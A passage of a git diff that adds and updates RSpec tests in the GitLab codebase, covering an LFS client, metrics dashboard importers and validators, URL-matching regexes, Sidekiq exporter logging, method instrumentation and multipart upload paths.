+ subject { policy.resource }
+
+ let(:resource) do
+ {
+ kind: Gitlab::Kubernetes::NetworkPolicy::KIND,
+ metadata: { name: name, namespace: namespace },
+ spec: { podSelector: pod_selector, policyTypes: %w(Ingress), ingress: ingress, egress: nil }
+ }
+ end
+
+ it { is_expected.to eq(resource) }
+
+ context 'with labels' do
+ let(:labels) { { app: 'foo' } }
+ let(:resource) do
+ {
+ kind: Gitlab::Kubernetes::NetworkPolicy::KIND,
+ metadata: { name: name, namespace: namespace, labels: { app: 'foo' } },
+ spec: { podSelector: pod_selector, policyTypes: %w(Ingress), ingress: ingress, egress: nil }
+ }
+ end
+
+ it { is_expected.to eq(resource) }
+ end
+ end
end
diff --git a/spec/lib/gitlab/lfs/client_spec.rb b/spec/lib/gitlab/lfs/client_spec.rb
new file mode 100644
index 00000000000..03563a632d6
--- /dev/null
+++ b/spec/lib/gitlab/lfs/client_spec.rb
@@ -0,0 +1,148 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Lfs::Client do
+ let(:base_url) { "https://example.com" }
+ let(:username) { 'user' }
+ let(:password) { 'password' }
+ let(:credentials) { { user: username, password: password, auth_method: 'password' } }
+
+ let(:basic_auth_headers) do
+ { 'Authorization' => "Basic #{Base64.strict_encode64("#{username}:#{password}")}" }
+ end
+
+ let(:upload_action) do
+ {
+ "href" => "#{base_url}/some/file",
+ "header" => {
+ "Key" => "value"
+ }
+ }
+ end
+
+ subject(:lfs_client) { described_class.new(base_url, credentials: credentials) }
+
+ describe '#batch' do
+ let_it_be(:objects) { create_list(:lfs_object, 3) }
+
+ context 'server returns 200 OK' do
+ it 'makes a successful batch request' do
+ stub = stub_batch(
+ objects: objects,
+ headers: basic_auth_headers
+ ).to_return(
+ status: 200,
+ body: { 'objects' => 'anything', 'transfer' => 'basic' }.to_json,
+ headers: { 'Content-Type' => 'application/vnd.git-lfs+json' }
+ )
+
+ result = lfs_client.batch('upload', objects)
+
+ expect(stub).to have_been_requested
+ expect(result).to eq('objects' => 'anything', 'transfer' => 'basic')
+ end
+ end
+
+ context 'server returns 400 error' do
+ it 'raises an error' do
+ stub_batch(objects: objects, headers: basic_auth_headers).to_return(status: 400)
+
+ expect { lfs_client.batch('upload', objects) }.to raise_error(/Failed/)
+ end
+ end
+
+ context 'server returns 500 error' do
+ it 'raises an error' do
+ stub_batch(objects: objects, headers: basic_auth_headers).to_return(status: 400)
+
+ expect { lfs_client.batch('upload', objects) }.to raise_error(/Failed/)
+ end
+ end
+
+ context 'server returns an exotic transfer method' do
+ it 'raises an error' do
+ stub_batch(
+ objects: objects,
+ headers: basic_auth_headers
+ ).to_return(
+ status: 200,
+ body: { 'transfer' => 'carrier-pigeon' }.to_json,
+ headers: { 'Content-Type' => 'application/vnd.git-lfs+json' }
+ )
+
+ expect { lfs_client.batch('upload', objects) }.to raise_error(/Unsupported transfer/)
+ end
+ end
+
+ def stub_batch(objects:, headers:, operation: 'upload', transfer: 'basic')
+ objects = objects.map { |o| { oid: o.oid, size: o.size } }
+ body = { operation: operation, 'transfers': [transfer], objects: objects }.to_json
+
+ stub_request(:post, base_url + '/info/lfs/objects/batch').with(body: body, headers: headers)
+ end
+ end
+
+ describe "#upload" do
+ let_it_be(:object) { create(:lfs_object) }
+
+ context 'server returns 200 OK to an authenticated request' do
+ it "makes an HTTP PUT with expected parameters" do
+ stub_upload(object: object, headers: upload_action['header']).to_return(status: 200)
+
+ lfs_client.upload(object, upload_action, authenticated: true)
+ end
+ end
+
+ context 'server returns 200 OK to an unauthenticated request' do
+ it "makes an HTTP PUT with expected parameters" do
+ stub = stub_upload(
+ object: object,
+ headers: basic_auth_headers.merge(upload_action['header'])
+ ).to_return(status: 200)
+
+ lfs_client.upload(object, upload_action, authenticated: false)
+
+ expect(stub).to have_been_requested
+ end
+ end
+
+ context 'LFS object has no file' do
+ let(:object) { LfsObject.new }
+
+ it 'makes an HJTT PUT with expected parameters' do
+ stub = stub_upload(
+ object: object,
+ headers: upload_action['header']
+ ).to_return(status: 200)
+
+ lfs_client.upload(object, upload_action, authenticated: true)
+
+ expect(stub).to have_been_requested
+ end
+ end
+
+ context 'server returns 400 error' do
+ it 'raises an error' do
+ stub_upload(object: object, headers: upload_action['header']).to_return(status: 400)
+
+ expect { lfs_client.upload(object, upload_action, authenticated: true) }.to raise_error(/Failed/)
+ end
+ end
+
+ context 'server returns 500 error' do
+ it 'raises an error' do
+ stub_upload(object: object, headers: upload_action['header']).to_return(status: 500)
+
+ expect { lfs_client.upload(object, upload_action, authenticated: true) }.to raise_error(/Failed/)
+ end
+ end
+
+ def stub_upload(object:, headers:)
+ stub_request(:put, upload_action['href']).with(
+ body: object.file.read,
+ headers: headers.merge('Content-Length' => object.size.to_s)
+ )
+ end
+ end
+end
diff --git a/spec/lib/gitlab/log_timestamp_formatter_spec.rb b/spec/lib/gitlab/log_timestamp_formatter_spec.rb
index e06baa2324f..b51d0fec15e 100644
--- a/spec/lib/gitlab/log_timestamp_formatter_spec.rb
+++ b/spec/lib/gitlab/log_timestamp_formatter_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Gitlab::LogTimestampFormatter do
let(:formatted_timestamp) { Time.now.utc.iso8601(3) }
it 'logs the timestamp in UTC and ISO8601.3 format' do
- Timecop.freeze(Time.now) do
+ freeze_time do
expect(subject.call('', Time.now, '', '')).to include formatted_timestamp
end
end
diff --git a/spec/lib/gitlab/metrics/dashboard/importer_spec.rb b/spec/lib/gitlab/metrics/dashboard/importer_spec.rb
new file mode 100644
index 00000000000..8b705395a2c
--- /dev/null
+++ b/spec/lib/gitlab/metrics/dashboard/importer_spec.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Metrics::Dashboard::Importer do
+ include MetricsDashboardHelpers
+
+ let_it_be(:dashboard_path) { '.gitlab/dashboards/sample_dashboard.yml' }
+ let_it_be(:project) { create(:project) }
+
+ before do
+ allow(subject).to receive(:dashboard_hash).and_return(dashboard_hash)
+ end
+
+ subject { described_class.new(dashboard_path, project) }
+
+ describe '.execute' do
+ context 'valid dashboard hash' do
+ let(:dashboard_hash) { load_sample_dashboard }
+
+ it 'imports metrics to database' do
+ expect { subject.execute }
+ .to change { PrometheusMetric.count }.from(0).to(3)
+ end
+ end
+
+ context 'invalid dashboard hash' do
+ let(:dashboard_hash) { {} }
+
+ it 'returns false' do
+ expect(subject.execute).to be(false)
+ end
+ end
+ end
+
+ describe '.execute!' do
+ context 'valid dashboard hash' do
+ let(:dashboard_hash) { load_sample_dashboard }
+
+ it 'imports metrics to database' do
+ expect { subject.execute }
+ .to change { PrometheusMetric.count }.from(0).to(3)
+ end
+ end
+
+ context 'invalid dashboard hash' do
+ let(:dashboard_hash) { {} }
+
+ it 'raises error' do
+ expect { subject.execute! }.to raise_error(Gitlab::Metrics::Dashboard::Validator::Errors::SchemaValidationError,
+ 'root is missing required keys: dashboard, panel_groups')
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/metrics/dashboard/importers/prometheus_metrics_spec.rb b/spec/lib/gitlab/metrics/dashboard/importers/prometheus_metrics_spec.rb
new file mode 100644
index 00000000000..09d5e048f6a
--- /dev/null
+++ b/spec/lib/gitlab/metrics/dashboard/importers/prometheus_metrics_spec.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Metrics::Dashboard::Importers::PrometheusMetrics do
+ include MetricsDashboardHelpers
+
+ describe '#execute' do
+ let(:project) { create(:project) }
+ let(:dashboard_path) { 'path/to/dashboard.yml' }
+
+ subject { described_class.new(dashboard_hash, project: project, dashboard_path: dashboard_path) }
+
+ context 'valid dashboard' do
+ let(:dashboard_hash) { load_sample_dashboard }
+
+ context 'with all new metrics' do
+ it 'creates PrometheusMetrics' do
+ expect { subject.execute }.to change { PrometheusMetric.count }.by(3)
+ end
+ end
+
+ context 'with existing metrics' do
+ let!(:existing_metric) do
+ create(:prometheus_metric, {
+ project: project,
+ identifier: 'metric_b',
+ title: 'overwrite',
+ y_label: 'overwrite',
+ query: 'overwrite',
+ unit: 'overwrite',
+ legend: 'overwrite'
+ })
+ end
+
+ it 'updates existing PrometheusMetrics' do
+ described_class.new(dashboard_hash, project: project, dashboard_path: dashboard_path).execute
+
+ expect(existing_metric.reload.attributes.with_indifferent_access).to include({
+ title: 'Super Chart B',
+ y_label: 'y_label',
+ query: 'query',
+ unit: 'unit',
+ legend: 'Legend Label'
+ })
+ end
+
+ it 'creates new PrometheusMetrics' do
+ expect { subject.execute }.to change { PrometheusMetric.count }.by(2)
+ end
+
+ context 'with stale metrics' do
+ let!(:stale_metric) do
+ create(:prometheus_metric,
+ project: project,
+ identifier: 'stale_metric',
+ dashboard_path: dashboard_path,
+ group: 3
+ )
+ end
+
+ it 'deletes stale metrics' do
+ subject.execute
+
+ expect { stale_metric.reload }.to raise_error(ActiveRecord::RecordNotFound)
+ end
+ end
+ end
+ end
+
+ context 'invalid dashboard' do
+ let(:dashboard_hash) { {} }
+
+ it 'returns false' do
+ expect(subject.execute).to eq(false)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/metrics/dashboard/stages/track_panel_type_spec.rb b/spec/lib/gitlab/metrics/dashboard/stages/track_panel_type_spec.rb
index d9987b67127..60010b9f257 100644
--- a/spec/lib/gitlab/metrics/dashboard/stages/track_panel_type_spec.rb
+++ b/spec/lib/gitlab/metrics/dashboard/stages/track_panel_type_spec.rb
@@ -8,20 +8,19 @@ RSpec.describe Gitlab::Metrics::Dashboard::Stages::TrackPanelType do
let(:project) { build_stubbed(:project) }
let(:environment) { build_stubbed(:environment, project: project) }
- describe '#transform!' do
+ describe '#transform!', :snowplow do
subject { described_class.new(project, dashboard, environment: environment) }
let(:dashboard) { load_sample_dashboard.deep_symbolize_keys }
it 'creates tracking event' do
- stub_application_setting(snowplow_enabled: true, snowplow_collector_hostname: 'localhost')
- allow(Gitlab::Tracking).to receive(:event).and_call_original
-
subject.transform!
- expect(Gitlab::Tracking).to have_received(:event)
- .with('MetricsDashboard::Chart', 'chart_rendered', { label: 'area-chart' })
- .at_least(:once)
+ expect_snowplow_event(
+ category: 'MetricsDashboard::Chart',
+ action: 'chart_rendered',
+ label: 'area-chart'
+ )
end
end
end
diff --git a/spec/lib/gitlab/metrics/dashboard/transformers/yml/v1/prometheus_metrics_spec.rb b/spec/lib/gitlab/metrics/dashboard/transformers/yml/v1/prometheus_metrics_spec.rb
new file mode 100644
index 00000000000..3af8b51c889
--- /dev/null
+++ b/spec/lib/gitlab/metrics/dashboard/transformers/yml/v1/prometheus_metrics_spec.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Metrics::Dashboard::Transformers::Yml::V1::PrometheusMetrics do
+ include MetricsDashboardHelpers
+
+ describe '#execute' do
+ subject { described_class.new(dashboard_hash) }
+
+ context 'valid dashboard' do
+ let_it_be(:dashboard_hash) do
+ {
+ panel_groups: [{
+ panels: [
+ {
+ title: 'Panel 1 title',
+ y_label: 'Panel 1 y_label',
+ metrics: [
+ {
+ query_range: 'Panel 1 metric 1 query_range',
+ unit: 'Panel 1 metric 1 unit',
+ label: 'Panel 1 metric 1 label',
+ id: 'Panel 1 metric 1 id'
+ },
+ {
+ query: 'Panel 1 metric 2 query',
+ unit: 'Panel 1 metric 2 unit',
+ label: 'Panel 1 metric 2 label',
+ id: 'Panel 1 metric 2 id'
+ }
+ ]
+ },
+ {
+ title: 'Panel 2 title',
+ y_label: 'Panel 2 y_label',
+ metrics: [{
+ query_range: 'Panel 2 metric 1 query_range',
+ unit: 'Panel 2 metric 1 unit',
+ label: 'Panel 2 metric 1 label',
+ id: 'Panel 2 metric 1 id'
+ }]
+ }
+ ]
+ }]
+ }
+ end
+
+ let(:expected_metrics) do
+ [
+ {
+ title: 'Panel 1 title',
+ y_label: 'Panel 1 y_label',
+ query: "Panel 1 metric 1 query_range",
+ unit: 'Panel 1 metric 1 unit',
+ legend: 'Panel 1 metric 1 label',
+ identifier: 'Panel 1 metric 1 id',
+ group: 3,
+ common: false
+ },
+ {
+ title: 'Panel 1 title',
+ y_label: 'Panel 1 y_label',
+ query: 'Panel 1 metric 2 query',
+ unit: 'Panel 1 metric 2 unit',
+ legend: 'Panel 1 metric 2 label',
+ identifier: 'Panel 1 metric 2 id',
+ group: 3,
+ common: false
+ },
+ {
+ title: 'Panel 2 title',
+ y_label: 'Panel 2 y_label',
+ query: 'Panel 2 metric 1 query_range',
+ unit: 'Panel 2 metric 1 unit',
+ legend: 'Panel 2 metric 1 label',
+ identifier: 'Panel 2 metric 1 id',
+ group: 3,
+ common: false
+ }
+ ]
+ end
+
+ it 'returns collection of metrics with correct attributes' do
+ expect(subject.execute).to match_array(expected_metrics)
+ end
+ end
+
+ context 'invalid dashboard' do
+ let(:dashboard_hash) { {} }
+
+ it 'raises missing attribute error' do
+ expect { subject.execute }.to raise_error(
+ ::Gitlab::Metrics::Dashboard::Transformers::Errors::MissingAttribute, "Missing attribute: 'panel_groups'"
+ )
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/metrics/dashboard/url_spec.rb b/spec/lib/gitlab/metrics/dashboard/url_spec.rb
index 205e1000376..830d43169a9 100644
--- a/spec/lib/gitlab/metrics/dashboard/url_spec.rb
+++ b/spec/lib/gitlab/metrics/dashboard/url_spec.rb
@@ -6,11 +6,12 @@ RSpec.describe Gitlab::Metrics::Dashboard::Url do
include Gitlab::Routing.url_helpers
describe '#metrics_regex' do
+ let(:environment_id) { 1 }
let(:url_params) do
[
'foo',
'bar',
- 1,
+ environment_id,
{
start: '2019-08-02T05:43:09.000Z',
dashboard: 'config/prometheus/common_metrics.yml',
@@ -33,12 +34,42 @@ RSpec.describe Gitlab::Metrics::Dashboard::Url do
subject { described_class.metrics_regex }
- context 'for metrics route' do
+ context 'for /-/environments/:environment_id/metrics route' do
let(:url) { metrics_namespace_project_environment_url(*url_params) }
it_behaves_like 'regex which matches url when expected'
end
+ context 'for /-/metrics?environment=:environment_id route' do
+ let(:url) { namespace_project_metrics_dashboard_url(*url_params) }
+ let(:url_params) do
+ [
+ 'namespace1',
+ 'project1',
+ {
+ environment: environment_id,
+ start: '2019-08-02T05:43:09.000Z',
+ dashboard: 'config/prometheus/common_metrics.yml',
+ group: 'awesome group',
+ anchor: 'title'
+ }
+ ]
+ end
+
+ let(:expected_params) do
+ {
+ 'url' => url,
+ 'namespace' => 'namespace1',
+ 'project' => 'project1',
+ 'environment' => "#{environment_id}",
+ 'query' => "?dashboard=config%2Fprometheus%2Fcommon_metrics.yml&environment=#{environment_id}&group=awesome+group&start=2019-08-02T05%3A43%3A09.000Z",
+ 'anchor' => '#title'
+ }
+ end
+
+ it_behaves_like 'regex which matches url when expected'
+ end
+
context 'for metrics_dashboard route' do
let(:url) { metrics_dashboard_namespace_project_environment_url(*url_params) }
@@ -47,16 +78,19 @@ RSpec.describe Gitlab::Metrics::Dashboard::Url do
end
describe '#clusters_regex' do
- let(:url) do
- Gitlab::Routing.url_helpers.namespace_project_cluster_url(
+ let(:url) { Gitlab::Routing.url_helpers.namespace_project_cluster_url(*url_params) }
+ let(:url_params) do
+ [
'foo',
'bar',
'1',
- group: 'Cluster Health',
- title: 'Memory Usage',
- y_label: 'Memory 20(GiB)',
- anchor: 'title'
- )
+ {
+ group: 'Cluster Health',
+ title: 'Memory Usage',
+ y_label: 'Memory 20(GiB)',
+ anchor: 'title'
+ }
+ ]
end
let(:expected_params) do
@@ -73,6 +107,27 @@ RSpec.describe Gitlab::Metrics::Dashboard::Url do
subject { described_class.clusters_regex }
it_behaves_like 'regex which matches url when expected'
+
+ context 'for metrics_dashboard route' do
+ let(:url) do
+ metrics_dashboard_namespace_project_cluster_url(
+ *url_params, cluster_type: :project, embedded: true, format: :json
+ )
+ end
+
+ let(:expected_params) do
+ {
+ 'url' => url,
+ 'namespace' => 'foo',
+ 'project' => 'bar',
+ 'cluster_id' => '1',
+ 'query' => '?cluster_type=project&embedded=true',
+ 'anchor' => nil
+ }
+ end
+
+ it_behaves_like 'regex which matches url when expected'
+ end
end
describe '#grafana_regex' do
@@ -103,15 +158,18 @@ RSpec.describe Gitlab::Metrics::Dashboard::Url do
end
describe '#alert_regex' do
- let(:url) do
- Gitlab::Routing.url_helpers.metrics_dashboard_namespace_project_prometheus_alert_url(
+ let(:url) { Gitlab::Routing.url_helpers.metrics_dashboard_namespace_project_prometheus_alert_url(*url_params) }
+ let(:url_params) do
+ [
'foo',
'bar',
'1',
- start: '2020-02-10T12:59:49.938Z',
- end: '2020-02-10T20:59:49.938Z',
- anchor: "anchor"
- )
+ {
+ start: '2020-02-10T12:59:49.938Z',
+ end: '2020-02-10T20:59:49.938Z',
+ anchor: "anchor"
+ }
+ ]
end
let(:expected_params) do
@@ -128,6 +186,21 @@ RSpec.describe Gitlab::Metrics::Dashboard::Url do
subject { described_class.alert_regex }
it_behaves_like 'regex which matches url when expected'
+
+ it_behaves_like 'regex which matches url when expected' do
+ let(:url) { Gitlab::Routing.url_helpers.metrics_dashboard_namespace_project_prometheus_alert_url(*url_params, format: :json) }
+
+ let(:expected_params) do
+ {
+ 'url' => url,
+ 'namespace' => 'foo',
+ 'project' => 'bar',
+ 'alert' => '1',
+ 'query' => nil,
+ 'anchor' => nil
+ }
+ end
+ end
end
describe '#build_dashboard_url' do
diff --git a/spec/lib/gitlab/metrics/dashboard/validator/errors_spec.rb b/spec/lib/gitlab/metrics/dashboard/validator/errors_spec.rb
index f0db1bd0d33..fdbba6c31b5 100644
--- a/spec/lib/gitlab/metrics/dashboard/validator/errors_spec.rb
+++ b/spec/lib/gitlab/metrics/dashboard/validator/errors_spec.rb
@@ -34,6 +34,17 @@ RSpec.describe Gitlab::Metrics::Dashboard::Validator::Errors do
it { is_expected.to eq 'root is missing required keys: one' }
end
+
+ context 'when there is type mismatch' do
+ %w(null string boolean integer number array object).each do |expected_type|
+ context "on type: #{expected_type}" do
+ let(:type) { expected_type }
+ let(:details) { nil }
+
+ it { is_expected.to eq "'property_name' at root is not of type: #{expected_type}" }
+ end
+ end
+ end
end
context 'for nested object' do
@@ -52,8 +63,6 @@ RSpec.describe Gitlab::Metrics::Dashboard::Validator::Errors do
let(:type) { expected_type }
let(:details) { nil }
- subject { described_class.new(error_hash).message }
-
it { is_expected.to eq "'property_name' at /nested_objects/0 is not of type: #{expected_type}" }
end
end
diff --git a/spec/lib/gitlab/metrics/dashboard/validator_spec.rb b/spec/lib/gitlab/metrics/dashboard/validator_spec.rb
index c4cda271408..eb67ea2b7da 100644
--- a/spec/lib/gitlab/metrics/dashboard/validator_spec.rb
+++ b/spec/lib/gitlab/metrics/dashboard/validator_spec.rb
@@ -143,4 +143,56 @@ RSpec.describe Gitlab::Metrics::Dashboard::Validator do
end
end
end
+
+ describe '#errors' do
+ context 'valid dashboard schema' do
+ it 'returns no errors' do
+ expect(described_class.errors(valid_dashboard)).to eq []
+ end
+
+ context 'with duplicate metric_ids' do
+ it 'returns errors' do
+ expect(described_class.errors(duplicate_id_dashboard)).to eq [Gitlab::Metrics::Dashboard::Validator::Errors::DuplicateMetricIds.new]
+ end
+ end
+
+ context 'with dashboard_path and project' do
+ subject { described_class.errors(valid_dashboard, dashboard_path: 'test/path.yml', project: project) }
+
+ context 'with no conflicting metric identifiers in db' do
+ it { is_expected.to eq [] }
+ end
+
+ context 'with metric identifier present in current dashboard' do
+ before do
+ create(:prometheus_metric,
+ identifier: 'metric_a1',
+ dashboard_path: 'test/path.yml',
+ project: project
+ )
+ end
+
+ it { is_expected.to eq [] }
+ end
+
+ context 'with metric identifier present in another dashboard' do
+ before do
+ create(:prometheus_metric,
+ identifier: 'metric_a1',
+ dashboard_path: 'some/other/dashboard/path.yml',
+ project: project
+ )
+ end
+
+ it { is_expected.to eq [Gitlab::Metrics::Dashboard::Validator::Errors::DuplicateMetricIds.new] }
+ end
+ end
+ end
+
+ context 'invalid dashboard schema' do
+ it 'returns collection of validation errors' do
+ expect(described_class.errors(invalid_dashboard)).to all be_kind_of(Gitlab::Metrics::Dashboard::Validator::Errors::SchemaValidationError)
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/metrics/exporter/sidekiq_exporter_spec.rb b/spec/lib/gitlab/metrics/exporter/sidekiq_exporter_spec.rb
index 2c5ef09f799..01cf47a7c58 100644
--- a/spec/lib/gitlab/metrics/exporter/sidekiq_exporter_spec.rb
+++ b/spec/lib/gitlab/metrics/exporter/sidekiq_exporter_spec.rb
@@ -15,6 +15,7 @@ RSpec.describe Gitlab::Metrics::Exporter::SidekiqExporter do
monitoring: {
sidekiq_exporter: {
enabled: true,
+ log_enabled: false,
port: 0,
address: '127.0.0.1'
}
@@ -25,6 +26,29 @@ RSpec.describe Gitlab::Metrics::Exporter::SidekiqExporter do
it 'does start thread' do
expect(exporter.start).not_to be_nil
end
+
+ it 'does not enable logging by default' do
+ expect(exporter.log_filename).to eq(File::NULL)
+ end
+ end
+
+ context 'with logging enabled' do
+ before do
+ stub_config(
+ monitoring: {
+ sidekiq_exporter: {
+ enabled: true,
+ log_enabled: true,
+ port: 0,
+ address: '127.0.0.1'
+ }
+ }
+ )
+ end
+
+ it 'returns a valid log filename' do
+ expect(exporter.log_filename).to end_with('sidekiq_exporter.log')
+ end
end
context 'when port is already taken' do
diff --git a/spec/lib/gitlab/metrics/instrumentation_spec.rb b/spec/lib/gitlab/metrics/instrumentation_spec.rb
index 2729fbce974..b15e06a0861 100644
--- a/spec/lib/gitlab/metrics/instrumentation_spec.rb
+++ b/spec/lib/gitlab/metrics/instrumentation_spec.rb
@@ -12,6 +12,11 @@ RSpec.describe Gitlab::Metrics::Instrumentation do
text
end
+ def self.wat(text = 'wat')
+ text
+ end
+ private_class_method :wat
+
class << self
def buzz(text = 'buzz')
text
@@ -242,6 +247,7 @@ RSpec.describe Gitlab::Metrics::Instrumentation do
expect(described_class.instrumented?(@dummy.singleton_class)).to eq(true)
expect(@dummy.method(:foo).source_location.first).to match(/instrumentation\.rb/)
+ expect(@dummy.public_methods).to include(:foo)
end
it 'instruments all protected class methods' do
@@ -249,13 +255,16 @@ RSpec.describe Gitlab::Metrics::Instrumentation do
expect(described_class.instrumented?(@dummy.singleton_class)).to eq(true)
expect(@dummy.method(:flaky).source_location.first).to match(/instrumentation\.rb/)
+ expect(@dummy.protected_methods).to include(:flaky)
end
- it 'instruments all private instance methods' do
+ it 'instruments all private class methods' do
described_class.instrument_methods(@dummy)
expect(described_class.instrumented?(@dummy.singleton_class)).to eq(true)
expect(@dummy.method(:buzz).source_location.first).to match(/instrumentation\.rb/)
+ expect(@dummy.private_methods).to include(:buzz)
+ expect(@dummy.private_methods).to include(:wat)
end
it 'only instruments methods directly defined in the module' do
@@ -290,6 +299,7 @@ RSpec.describe Gitlab::Metrics::Instrumentation do
expect(described_class.instrumented?(@dummy)).to eq(true)
expect(@dummy.new.method(:bar).source_location.first).to match(/instrumentation\.rb/)
+ expect(@dummy.public_instance_methods).to include(:bar)
end
it 'instruments all protected instance methods' do
@@ -297,6 +307,7 @@ RSpec.describe Gitlab::Metrics::Instrumentation do
expect(described_class.instrumented?(@dummy)).to eq(true)
expect(@dummy.new.method(:chaf).source_location.first).to match(/instrumentation\.rb/)
+ expect(@dummy.protected_instance_methods).to include(:chaf)
end
it 'instruments all private instance methods' do
@@ -304,6 +315,7 @@ RSpec.describe Gitlab::Metrics::Instrumentation do
expect(described_class.instrumented?(@dummy)).to eq(true)
expect(@dummy.new.method(:wadus).source_location.first).to match(/instrumentation\.rb/)
+ expect(@dummy.private_instance_methods).to include(:wadus)
end
it 'only instruments methods directly defined in the module' do
diff --git a/spec/lib/gitlab/metrics/method_call_spec.rb b/spec/lib/gitlab/metrics/method_call_spec.rb
index 825c91b6cb4..fb5436a90e3 100644
--- a/spec/lib/gitlab/metrics/method_call_spec.rb
+++ b/spec/lib/gitlab/metrics/method_call_spec.rb
@@ -30,7 +30,7 @@ RSpec.describe Gitlab::Metrics::MethodCall do
end
around do |example|
- Timecop.freeze do
+ freeze_time do
example.run
end
end
diff --git a/spec/lib/gitlab/metrics/samplers/action_cable_sampler_spec.rb b/spec/lib/gitlab/metrics/samplers/action_cable_sampler_spec.rb
new file mode 100644
index 00000000000..7f05f35c941
--- /dev/null
+++ b/spec/lib/gitlab/metrics/samplers/action_cable_sampler_spec.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Metrics::Samplers::ActionCableSampler do
+ let(:action_cable) { instance_double(ActionCable::Server::Base) }
+
+ subject { described_class.new(action_cable: action_cable) }
+
+ describe '#interval' do
+ it 'samples every five seconds by default' do
+ expect(subject.interval).to eq(5)
+ end
+
+ it 'samples at other intervals if requested' do
+ expect(described_class.new(11).interval).to eq(11)
+ end
+ end
+
+ describe '#sample' do
+ let(:pool) { instance_double(Concurrent::ThreadPoolExecutor) }
+
+ before do
+ allow(action_cable).to receive_message_chain(:worker_pool, :executor).and_return(pool)
+ allow(action_cable).to receive(:connections).and_return([])
+ allow(pool).to receive(:min_length).and_return(1)
+ allow(pool).to receive(:max_length).and_return(2)
+ allow(pool).to receive(:length).and_return(3)
+ allow(pool).to receive(:largest_length).and_return(4)
+ allow(pool).to receive(:completed_task_count).and_return(5)
+ allow(pool).to receive(:queue_length).and_return(6)
+ end
+
+ shared_examples 'collects metrics' do |expected_labels|
+ it 'includes active connections' do
+ expect(subject.metrics[:active_connections]).to receive(:set).with(expected_labels, 0)
+
+ subject.sample
+ end
+
+ it 'includes minimum worker pool size' do
+ expect(subject.metrics[:pool_min_size]).to receive(:set).with(expected_labels, 1)
+
+ subject.sample
+ end
+
+ it 'includes maximum worker pool size' do
+ expect(subject.metrics[:pool_max_size]).to receive(:set).with(expected_labels, 2)
+
+ subject.sample
+ end
+
+ it 'includes current worker pool size' do
+ expect(subject.metrics[:pool_current_size]).to receive(:set).with(expected_labels, 3)
+
+ subject.sample
+ end
+
+ it 'includes largest worker pool size' do
+ expect(subject.metrics[:pool_largest_size]).to receive(:set).with(expected_labels, 4)
+
+ subject.sample
+ end
+
+ it 'includes worker pool completed task count' do
+ expect(subject.metrics[:pool_completed_tasks]).to receive(:set).with(expected_labels, 5)
+
+ subject.sample
+ end
+
+ it 'includes worker pool pending task count' do
+ expect(subject.metrics[:pool_pending_tasks]).to receive(:set).with(expected_labels, 6)
+
+ subject.sample
+ end
+ end
+
+ context 'for in-app mode' do
+ before do
+ expect(Gitlab::ActionCable::Config).to receive(:in_app?).and_return(true)
+ end
+
+ it_behaves_like 'collects metrics', server_mode: 'in-app'
+ end
+
+ context 'for standalone mode' do
+ before do
+ expect(Gitlab::ActionCable::Config).to receive(:in_app?).and_return(false)
+ end
+
+ it_behaves_like 'collects metrics', server_mode: 'standalone'
+ end
+ end
+end
diff --git a/spec/lib/gitlab/metrics/samplers/ruby_sampler_spec.rb b/spec/lib/gitlab/metrics/samplers/ruby_sampler_spec.rb
index 59a70ac74a5..eb6c83096b9 100644
--- a/spec/lib/gitlab/metrics/samplers/ruby_sampler_spec.rb
+++ b/spec/lib/gitlab/metrics/samplers/ruby_sampler_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe Gitlab::Metrics::Samplers::RubySampler do
describe '#initialize' do
it 'sets process_start_time_seconds' do
- Timecop.freeze do
+ freeze_time do
expect(sampler.metrics[:process_start_time_seconds].get).to eq(Time.now.to_i)
end
end
diff --git a/spec/lib/gitlab/middleware/multipart/handler_for_jwt_params_spec.rb b/spec/lib/gitlab/middleware/multipart/handler_for_jwt_params_spec.rb
new file mode 100644
index 00000000000..59ec743f6ca
--- /dev/null
+++ b/spec/lib/gitlab/middleware/multipart/handler_for_jwt_params_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Middleware::Multipart::HandlerForJWTParams do
+ using RSpec::Parameterized::TableSyntax
+
+ let_it_be(:env) { Rack::MockRequest.env_for('/', method: 'post', params: {}) }
+ let_it_be(:message) { { 'rewritten_fields' => {} } }
+
+ describe '#allowed_paths' do
+ let_it_be(:expected_allowed_paths) do
+ [
+ Dir.tmpdir,
+ ::FileUploader.root,
+ ::Gitlab.config.uploads.storage_path,
+ ::JobArtifactUploader.workhorse_upload_path,
+ ::LfsObjectUploader.workhorse_upload_path,
+ File.join(Rails.root, 'public/uploads/tmp')
+ ]
+ end
+
+ let_it_be(:expected_with_packages_path) { expected_allowed_paths + [::Packages::PackageFileUploader.workhorse_upload_path] }
+
+ subject { described_class.new(env, message).send(:allowed_paths) }
+
+ where(:package_features_enabled, :object_storage_enabled, :direct_upload_enabled, :expected_paths) do
+ false | false | true | :expected_allowed_paths
+ false | false | false | :expected_allowed_paths
+ false | true | true | :expected_allowed_paths
+ false | true | false | :expected_allowed_paths
+ true | false | true | :expected_with_packages_path
+ true | false | false | :expected_with_packages_path
+ true | true | true | :expected_allowed_paths
+ true | true | false | :expected_with_packages_path
+ end
+
+ with_them do
+ before do
+ stub_config(packages: {
+ enabled: package_features_enabled,
+ object_store: {
+ enabled: object_storage_enabled,
+ direct_upload: direct_upload_enabled
+ },
+ storage_path: '/any/dir'
+ })
+ end
+
+ it { is_expected.to eq(send(expected_paths)) }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/middleware/multipart/handler_spec.rb b/spec/lib/gitlab/middleware/multipart/handler_spec.rb
new file mode 100644
index 00000000000..aac3f00defe
--- /dev/null
+++ b/spec/lib/gitlab/middleware/multipart/handler_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
